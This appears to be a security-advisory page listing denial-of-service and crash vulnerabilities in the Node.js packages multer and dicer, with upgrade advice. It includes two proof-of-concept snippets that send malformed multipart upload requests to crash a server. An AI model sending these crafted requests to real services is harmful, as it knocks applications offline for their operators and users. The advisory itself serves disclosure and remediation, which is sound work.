Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Remediation

Upgrade multer to version 2.0.0 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.

Remediation

Upgrade multer to version 2.0.2 or higher.

References

• GitHub Commit
• OpenJS Advisories
• Red Hat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.

References

• GitHub Commit
• GitHub Issue
• GitHub PR